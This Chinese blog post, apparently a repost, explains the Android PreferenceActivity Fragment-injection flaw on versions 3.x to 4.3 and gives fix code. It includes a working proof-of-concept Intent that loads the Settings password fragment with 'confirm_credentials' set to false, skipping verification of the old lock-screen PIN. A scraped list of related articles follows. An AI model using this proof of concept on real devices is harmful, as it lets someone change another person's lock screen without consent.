为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的。关于Fragment的使用说明,可以阅读《Android Fragment完全解析,关于碎片你所需知道的一切》。其中,Fragment有一个很强大的功能,就是可以动态加载。这样可以让整个界面的开发更加灵活,可以根据不同的场景动态加加载不同的Activity。

回到今天的主题——利用Fragment实现注入攻击。从3.X后,android工程师重构PreferenceActivity的实现,采用Fragment实现界面的加载。通过阅读源码可以发现,PreferenceActivity的onCreate里,需要读取Intent的多个extra内容,常量都定义在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有两个常量分别是EXTRA_SHOW_FRAGMENT=":android:show_fragment"EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",这两个参数可以决定当前的PreferenceActivity首次显示的Fragment。过程比较简单,就是先拿到fragment_class和fragment_args,然后通过反射生成一个Fragment实例,并动态加载。关键源码如下所示:

[java] view plain copy  
  1. mSinglePane = hidingHeaders || !onIsMultiPane();
  2. String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
  3. Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
  4. int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
  5. int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

先获取initalFragment和initialArguments两个参数,之后在switchToHeaderInner里完成实例化:

[java] view plain copy  
  1. private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {
  2. getFragmentManager().popBackStack(BACK_STACK_PREFS,
  3. FragmentManager.POP_BACK_STACK_INCLUSIVE);
  4. Fragment f = Fragment.instantiate(this, fragmentName, args);
  5. FragmentTransaction transaction = getFragmentManager().beginTransaction();
  6. transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
  7. transaction.replace(com.android.internal.R.id.prefs, f);
  8. transaction.commitAllowingStateLoss();
  9. }

到此为止,我们可以通过设置Intent的extral,实现动态修改PreferenceActivity的初次显示的Fragment。

我们知道,在Android系统里,App与App是互相隔离的,互相之间不能访问对方的私有数据。App与App之间(更准确地说应该是组件与组件之间)的通讯,统一使用Intent。通过Intent可以很方便的唤起其他App的Activity,达到功能重用的目的。比如平时使用ZAKER,你需要在微信圈里分享,通过这种方式就可以直接跳到微信的分享界面了。但使用这种方式的前提是目标Activity是exported的。

结合上面的两个关键点,我们是否可以寻找一个exported的PreferenceActivity的子类,并通过精心设置Intent的extral的值,以实现打开那些没有exported的界面呢?如果这些界面涉及安全方面信息的话,又会怎样呢?

Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。我们以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:

[java] view plain copy  
  1. Intent intent = getActivity().getIntent();
  2. final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
  3. if (savedInstanceState == null) {
  4. updateStage(Stage.Introduction);
  5. if (confirmCredentials) {
  6. mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
  7. null, null);
  8. }
  9. } else {
  10. mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
  11. final String state = savedInstanceState.getString(KEY_UI_STAGE);
  12. if (state != null) {
  13. mUiStage = Stage.valueOf(state);
  14. updateStage(mUiStage);
  15. }
  16. }

如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:

[java] view plain copy  
  1. Intent intent = new Intent();
  2. intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
  3. intent.setClassName("com.android.settings", "com.android.settings.Settings");
  4. intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
  5. intent.putExtra("confirm_credentials", false);
  6. startActivity(intent);

正常的密码修改流程是"设置"->"安全"->"屏幕锁定"->"确认你的PIN",如所下图所示:

如果运行DEMO,则直接进入如下界面:

这样你直接输入密码,就可以把原来的密码覆盖掉了。

这个BUG存在于3.X到4.3中的所有版本,4.4已经fix了。4.4强制所有PreferenceActivity必须要实现isValidFragment方法,详细见这里


个人总结:

应该说,这种修复方式,只是起到一个提醒的作用,最终的安全还是交由开发者承担。另外,目前很多应用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子类都补充加上isValidFragment方法就可以了。但对于4.4之前的版,如果存在这种权限泄露的问题,还是需要单独处理的。下面给出兼容2.X~4.4修复的代码示例:

[java] view plain copy  
  1. public final class MyPreferenceActivity extends PreferenceActivity {
  2. private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
  3. //TODO 做合法性检查
  4. return true;
  5. }
  6. //添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行
  7. protected boolean isValidFragment(String fragmentName) {
  8. return doValidcheck(fragmentName);
  9. }
  10. @Override
  11. protected void onCreate(Bundle savedInstanceState) {
  12. //在onCreate前就做合法性判断
  13. String fragmentname = getIntent().getStringExtra(":android:show_fragment");
  14. doValidcheck(fragmentname);
  15. super.onCreate(savedInstanceState);
  16. }
  17. }

原文地址: http://blog.csdn.net/l173864930/article/details/17279165

Android框架攻击之Fragment注入相关推荐

  1. [免费专栏] Android安全之Android Fragment注入

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 Android安全付费专栏长期更新,本篇最新内容请前往: [ ...

  2. android 访问服务器sql_XSS 攻击、CSRF 攻击、SQL 注入、流量劫持(DNS 劫持、HTTP 劫持)—— 浏览器安全

    今天看了 jsliang 大佬关于网络安全的文章,为了加深一下印象,自己动手写一下. 主要参考文章:网络安全 --- jsliang XSS攻击 XSS(Cross Site Script)跨站脚本攻 ...

  3. 一个C#开发者用Java搭建Android框架的心路历程

    前言 Java框架实在是太多了,因为是初学乍练,所以,只好以百度为标准选择框架了. Java的框架文章太难写了,因为他引用了太多框架,而没一个框架都有很繁琐的配置,把每个框架都写一遍,就等于写书了:所 ...

  4. Android框架之ButterKnife(黄油刀)

    Android框架之ButterKnife(黄油刀) Butterknife简介 ButterKnife是一个专注于Android系统的View注入框架,可以减少大量的findViewById以及se ...

  5. Android框架排行榜,上百项资源汇总不容错过

    1.Retrofit 一句话介绍:Retrofit是一款类型安全的网络框架,基于HTTP协议,服务于Android和java语言 上榜理由:Retrofit以21.8k的stars量雄踞github中 ...

  6. Android框架排行榜

    Android框架排行榜 1.Retrofit 一句话介绍:Retrofit是一款类型安全的网络框架,基于HTTP协议,服务于Android和java语言 上榜理由:Retrofit以21.8k的st ...

  7. 60个实用Android框架排行榜

    1.Retrofit 一句话介绍:Retrofit是一款类型安全的网络框架,基于HTTP协议,服务于Android和java语言 上榜理由:Retrofit以21.8k的stars量雄踞github中 ...

  8. 60个实用的Android框架

    1.Retrofit 一句话介绍:Retrofit是一款类型安全的网络框架,基于HTTP协议,服务于Android和java语言 上榜理由:Retrofit以21.8k的stars量雄踞github中 ...

  9. 最新Android框架排行榜,上百项资源汇总不容错过

    Android框架排行榜 1.Retrofit 一句话介绍:Retrofit是一款类型安全的网络框架,基于HTTP协议,服务于Android和java语言 上榜理由:Retrofit以21.8k的st ...

最新文章

  1. 横竖屏切换时候Activity的生命周期
  2. python学习网址
  3. 百度广告点击软件_结束了,百度 “毒瘤” 广告!
  4. jeecmsv9导入mysql详细步骤_jeecms v9.3数据库导入
  5. python编码问题无法复现_python中烦人的编码问题
  6. 在 ML2 中配置 Vlan Network- 每天5分钟玩转 OpenStack(93)
  7. 偶然遇到的Java泛型错误,百思不得其解。
  8. 关于mysql自带的计划任务和系统计划任务的建议
  9. 《大道至简》,悟在天成——读后有感
  10. 统信uos 没有通过系统安全验证,无法运行
  11. c语言怎样自动对齐,c语言自动对齐原则
  12. SRT视频字幕的解析与同步原理
  13. 群晖java安装失败_群晖NAS安装Jenkins
  14. 2021年初级会计职称《初级会计实务》考试真题资产内容
  15. QT之OpenGL坐标系统
  16. 思岚科技荣获CSDN 【2019优秀人工智能案例TOP 30+】
  17. Android摄像头 只拍摄SurfaceView预览界面特定区域内容(矩形框)---完整实现(原理 底层Surface
  18. 中国打桩设备行业运行态势与投资前景预测报告(新版)2022-2027
  19. 挺着肚皮的小淘气 蒙语版铃声 挺着肚皮的小淘气 蒙语版手机铃...
  20. 产品分析——外研随身学

热门文章

  1. VC++学习(6):菜单编程
  2. 双指针解决数组排序问题
  3. [云炬python3玩转机器学习] 5-3简单线性回归的实现
  4. 科大星云诗社动态20210418
  5. python全排序算法题_Python的100道经典算法题(1)
  6. Matlab神经网络十讲(8): 归一化、权重读取、(非)线性网络设计
  7. FFTW在VS中集成与测试详解
  8. [转]全面了解setjmp与longjmp的使用
  9. 对“js变量作用域的疑问”的解答
  10. .Net开发中的多线程编程总结